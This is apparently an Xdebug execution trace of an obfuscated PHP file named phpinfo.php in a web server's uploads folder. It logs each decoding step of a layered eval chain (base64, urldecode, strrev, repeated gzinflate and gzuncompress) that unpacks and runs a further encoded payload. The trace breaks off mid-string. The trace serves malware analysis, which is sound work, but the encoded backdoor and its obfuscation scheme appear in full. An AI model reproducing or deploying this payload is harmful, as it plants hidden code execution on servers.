Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:43:40.111287]
1	0	1	0.000206	393528
1	3	0	0.000729	468248	{main}	1		/var/www/html/uploads/phpinfo.php	0	0
1		A						/var/www/html/uploads/phpinfo.php	2	$▛ = '99754106633f94d350db34d548d6091a'
1		A						/var/www/html/uploads/phpinfo.php	3	$xD = 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNEhFeCUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
1		A						/var/www/html/uploads/phpinfo.php	3	$HEx = '=oV5bwN/F0b/B0///f9+z/97yXMV+5Hf2c058zt/5e05ojB/4TvJq8vf/dKYxEDLrULM7T/ISjA8dDk+dV2hV6CLNN9afUL3RrxgNoK6oLup7El3eEbeiKYTi+cODvSyvgSw5PsDnY3BCkBsjRhx25y5nih9T/+W7WaakYfN6NfbukAVv/yrPImJKCpeTnVE7UarxyloG/u2QFJpp5V+czaPWr2MDU6HlOE1eFayISx9v8KvEN3DlfzRwzwkPOHfRor6J3HL8qEE2ryjewFZjG8KPCrGRT0i1onC2ssCIf5Il5dAWUQQVllU352T7WDVEYhUwnMTj6p8q0L+oMmzRo+jOIqb97ckKEzs5XPVJakCwunJ26TpHbfxLT2QuyHTeeRUYHAv4+ADWhrA7GvBZACBPH9Zu5ZgeLHRE9tTkOnsqbig2IvRQJyBL5zOEjann6JBIUnY5ejjYgSIR6IFZL/bwQJYXbjc2mpZPVCB6bVRCoi6U98U0NtDmXQK6242'
2	4	0	0.000850	468248	base64_decode	0		/var/www/html/uploads/phpinfo.php	3	1	'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNEhFeCUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
2	4	1	0.000873	468536
2	4	R			'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24HEx%29%29%29%29%29%29%29%29%3B'
2	5	0	0.000894	468504	urldecode	0		/var/www/html/uploads/phpinfo.php	3	1	'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24HEx%29%29%29%29%29%29%29%29%3B'
2	5	1	0.000914	468728
2	5	R			'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($HEx))))))));'
2	6	0	0.000932	468440	htmlspecialchars_decode	0		/var/www/html/uploads/phpinfo.php	3	1	'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($HEx))))))));'
2	6	1	0.000951	468664
2	6	R			'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($HEx))))))));'
2	7	0	0.000981	470784	eval	1	'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($HEx))))))));'	/var/www/html/uploads/phpinfo.php	3	0
3	8	0	0.000998	470784	strrev	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code	1	1	'=oV5bwN/F0b/B0///f9+z/97yXMV+5Hf2c058zt/5e05ojB/4TvJq8vf/dKYxEDLrULM7T/ISjA8dDk+dV2hV6CLNN9afUL3RrxgNoK6oLup7El3eEbeiKYTi+cODvSyvgSw5PsDnY3BCkBsjRhx25y5nih9T/+W7WaakYfN6NfbukAVv/yrPImJKCpeTnVE7UarxyloG/u2QFJpp5V+czaPWr2MDU6HlOE1eFayISx9v8KvEN3DlfzRwzwkPOHfRor6J3HL8qEE2ryjewFZjG8KPCrGRT0i1onC2ssCIf5Il5dAWUQQVllU352T7WDVEYhUwnMTj6p8q0L+oMmzRo+jOIqb97ckKEzs5XPVJakCwunJ26TpHbfxLT2QuyHTeeRUYHAv4+ADWhrA7GvBZACBPH9Zu5ZgeLHRE9tTkOnsqbig2IvRQJyBL5zOEjann6JBIUnY5ejjYgSIR6IFZL/bwQJYXbjc2mpZPVCB6bVRCoi6U98U0NtDmXQK6242'
3	8	1	0.001085	544544
3	8	R			'AA+A8H8ADoDxfwAJgPZ/eJwACYD2f3iclJ3Hjutcm53nBnwPPxo944A5wTYM5pwpMaAnzJkUc7h6s/w1et4DnjqQStTm3u+71npYFPW//+9P/v3P//Hv6/av//Ovf/uPi0TfDXs35D8uvPznJ1H+8xgKvxv6b//rX/9ePf/8NkG+zyTvT/rdincj3i17N/ifVxD432+vG/Lf2Xm6/ufOkf/cEfq3o/fZd+co9s8rCeyfxwj0nz0Q//VmdXH9vRy30SUuTH9tOQ08Em2Q5moLIPMXJrC0c30AXPUWZR7jKN3pr2q3JCBf86Z1dpzIdBxlt0c5OV8cv5qvfHXjQIC3dEu054wr8WsxWBUL8lmBMgkWN1Jh/rMY9/po9/GQZPyUV9+ov1J9wg8ky3BX00eXcMpBl5smg+AdjZSNrvqjE74gifhABXOxls3ty6NBZE6Rw9SwLRmut1bmlP4PN7YNOBpMyseEXhohm+gJhtaCtvX5AMkHxAMsEHsfOlGaHkFu'
3	9	0	0.001155	544512	base64_decode	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code	1	1	'AA+A8H8ADoDxfwAJgPZ/eJwACYD2f3iclJ3Hjutcm53nBnwPPxo944A5wTYM5pwpMaAnzJkUc7h6s/w1et4DnjqQStTm3u+71npYFPW//+9P/v3P//Hv6/av//Ovf/uPi0TfDXs35D8uvPznJ1H+8xgKvxv6b//rX/9ePf/8NkG+zyTvT/rdincj3i17N/ifVxD432+vG/Lf2Xm6/ufOkf/cEfq3o/fZd+co9s8rCeyfxwj0nz0Q//VmdXH9vRy30SUuTH9tOQ08Em2Q5moLIPMXJrC0c30AXPUWZR7jKN3pr2q3JCBf86Z1dpzIdBxlt0c5OV8cv5qvfHXjQIC3dEu054wr8WsxWBUL8lmBMgkWN1Jh/rMY9/po9/GQZPyUV9+ov1J9wg8ky3BX00eXcMpBl5smg+AdjZSNrvqjE74gifhABXOxls3ty6NBZE6Rw9SwLRmut1bmlP4PN7YNOBpMyseEXhohm+gJhtaCtvX5AMkHxAMsEHsfOlGaHkFu'
3	9	1	0.001385	618272
3	9	R			'\000\017\000\016\000\tx\000\txǎ\\\006|\017?\032=96\f)1\'̙\024sz5z\003:JzX\024OD\r{7?.\'Q\030\n\033o_^=6A$O݊w#-{7W\020o\033yΑ\021w(+\t\b=\020fuq\034%.Lm9\r<\022mj\v \027&s}\000\\\026e\036(j$ _uvt\034eG99_\034|u@tK+k1X\025\vY2\t\0267Ra\030hdWߨR}\017$pWGpA&\035\023 @\005sˣAdN԰-\031V\0177\r8\032LǄ^\032!\tւ\000\a\003,\0'
3	10	0	0.002388	544512	gzinflate	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code	1	1	'\000\017\000\016\000\tx\000\txǎ\\\006|\017?\032=96\f)1\'̙\024sz5z\003:JzX\024OD\r{7?.\'Q\030\n\033o_^=6A$O݊w#-{7W\020o\033yΑ\021w(+\t\b=\020fuq\034%.Lm9\r<\022mj\v \027&s}\000\\\026e\036(j$ _uvt\034eG99_\034|u@tK+k1X\025\vY2\t\0267Ra\030hdWߨR}\017$pWGpA&\035\023 @\005sˣAdN԰-\031V\0177\r8\032LǄ^\032!\tւ\000\a\003,\0'
3	10	1	0.003408	597792
3	10	R			'\000\016\000\tx\000\txǎ\\\006|\017?\032=96\f)1\'̙\024sz5z\003:JzX\024OD\r{7?.\'Q\030\n\033o_^=6A$O݊w#-{7W\020o\033yΑ\021w(+\t\b=\020fuq\034%.Lm9\r<\022mj\v \027&s}\000\\\026e\036(j$ _uvt\034eG99_\034|u@tK+k1X\025\vY2\t\0267Ra\030hdWߨR}\017$pWGpA&\035\023 @\005sˣAdN԰-\031V\0177\r8\032LǄ^\032!\tւ\000\a\003,\020{\037:Q\'
3	11	0	0.004399	524032	gzinflate	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code	1	1	'\000\016\000\tx\000\txǎ\\\006|\017?\032=96\f)1\'̙\024sz5z\003:JzX\024OD\r{7?.\'Q\030\n\033o_^=6A$O݊w#-{7W\020o\033yΑ\021w(+\t\b=\020fuq\034%.Lm9\r<\022mj\v \027&s}\000\\\026e\036(j$ _uvt\034eG99_\034|u@tK+k1X\025\vY2\t\0267Ra\030hdWߨR}\017$pWGpA&\035\023 @\005sˣAdN԰-\031V\0177\r8\032LǄ^\032!\tւ\000\a\003,\020{\037:Q\'
3	11	1	0.005406	577312
3	11	R			'\000\tx\000\txǎ\\\006|\017?\032=96\f)1\'̙\024sz5z\003:JzX\024OD\r{7?.\'Q\030\n\033o_^=6A$O݊w#-{7W\020o\033yΑ\021w(+\t\b=\020fuq\034%.Lm9\r<\022mj\v \027&s}\000\\\026e\036(j$ _uvt\034eG99_\034|u@tK+k1X\025\vY2\t\0267Ra\030hdWߨR}\017$pWGpA&\035\023 @\005sˣAdN԰-\031V\0177\r8\032LǄ^\032!\tւ\000\a\003,\020{\037:Q\036An\003ܑ'
3	12	0	0.006397	524032	gzinflate	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code	1	1	'\000\tx\000\txǎ\\\006|\017?\032=96\f)1\'̙\024sz5z\003:JzX\024OD\r{7?.\'Q\030\n\033o_^=6A$O݊w#-{7W\020o\033yΑ\021w(+\t\b=\020fuq\034%.Lm9\r<\022mj\v \027&s}\000\\\026e\036(j$ _uvt\034eG99_\034|u@tK+k1X\025\vY2\t\0267Ra\030hdWߨR}\017$pWGpA&\035\023 @\005sˣAdN԰-\031V\0177\r8\032LǄ^\032!\tւ\000\a\003,\020{\037:Q\036An\003ܑ'
3	12	1	0.007392	577312
3	12	R			'x\000\txǎ\\\006|\017?\032=96\f)1\'̙\024sz5z\003:JzX\024OD\r{7?.\'Q\030\n\033o_^=6A$O݊w#-{7W\020o\033yΑ\021w(+\t\b=\020fuq\034%.Lm9\r<\022mj\v \027&s}\000\\\026e\036(j$ _uvt\034eG99_\034|u@tK+k1X\025\vY2\t\0267Ra\030hdWߨR}\017$pWGpA&\035\023 @\005sˣAdN԰-\031V\0177\r8\032LǄ^\032!\tւ\000\a\003,\020{\037:Q\036An\003ܑ:\022'
3	13	0	0.008379	524032	gzuncompress	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code	1	1	'x\000\txǎ\\\006|\017?\032=96\f)1\'̙\024sz5z\003:JzX\024OD\r{7?.\'Q\030\n\033o_^=6A$O݊w#-{7W\020o\033yΑ\021w(+\t\b=\020fuq\034%.Lm9\r<\022mj\v \027&s}\000\\\026e\036(j$ _uvt\034eG99_\034|u@tK+k1X\025\vY2\t\0267Ra\030hdWߨR}\017$pWGpA&\035\023 @\005sˣAdN԰-\031V\0177\r8\032LǄ^\032!\tւ\000\a\003,\020{\037:Q\036An\003ܑ:\022'
3	13	1	0.009699	577312
3	13	R			'xǎ\\\006|\017?\032=96\f)1\'̙\024sz5z\003:JzX\024OD\r{7?.\'Q\030\n\033o_^=6A$O݊w#-{7W\020o\033yΑ\021w(+\t\b=\020fuq\034%.Lm9\r<\022mj\v \027&s}\000\\\026e\036(j$ _uvt\034eG99_\034|u@tK+k1X\025\vY2\t\0267Ra\030hdWߨR}\017$pWGpA&\035\023 @\005sˣAdN԰-\031V\0177\r8\032LǄ^\032!\tւ\000\a\003,\020{\037:Q\036An\003ܑ:\022\020\t'
3	14	0	0.010762	524032	gzuncompress	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code	1	1	'xǎ\\\006|\017?\032=96\f)1\'̙\024sz5z\003:JzX\024OD\r{7?.\'Q\030\n\033o_^=6A$O݊w#-{7W\020o\033yΑ\021w(+\t\b=\020fuq\034%.Lm9\r<\022mj\v \027&s}\000\\\026e\036(j$ _uvt\034eG99_\034|u@tK+k1X\025\vY2\t\0267Ra\030hdWߨR}\017$pWGpA&\035\023 @\005sˣAdN԰-\031V\0177\r8\032LǄ^\032!\tւ\000\a\003,\020{\037:Q\036An\003ܑ:\022\020\t'
3	14	1	0.011988	593696
3	14	R			'<?pHp\r\n$st = "\\x73\\x74\\x72\\x5f\\x72\\x6f\\x74\\x31\\x33"; $gz = "\\x67\\x7a\\x69\\x6e\\x66\\x6c\\x61\\x74\\x65"; $st2 = "\\x73\\x74\\x72\\x5f\\x72\\x6f\\x74\\x31\\x33"; $bs = "\\x62\\x61\\x73\\x65\\x36\\x34\\x5f\\x64\\x65\\x63\\x6f\\x64\\x65"; $hex = "5P3rZeNTsjCK/vaKmGqgtW0NpXa1GuClW+xhtYcSAQIkwTsJkra/DhDNOwkCFAkC8PjvfoQV55xiVHxknm6/yGyG9SQns6pj41JFe7zs+faWrRYJ1DUrMyszKyvz77ZzfxliJpfJzXU0HH1kh9vkaCIv9ftKH//yYn8P3sLzL6TEGF5m8WqesfiyTHnM6cQed18mtrc5LjOcQfTp5Mtt+vi4Gdna9riEco9o10se9PLqv/7z/5W4WFlT0w399n'
3	15	0	0.012480	612232	eval	1	'?><?pHp\r\n$st = "\\x73\\x74\\x72\\x5f\\x72\\x6f\\x74\\x31\\x33"; $gz = "\\x67\\x7a\\x69\\x6e\\x66\\x6c\\x61\\x74\\x65"; $st2 = "\\x73\\x74\\x72\\x5f\\x72\\x6f\\x74\\x31\\x33"; $bs = "\\x62\\x61\\x73\\x65\\x36\\x34\\x5f\\x64\\x65\\x63\\x6f\\x64\\x65"; $hex = "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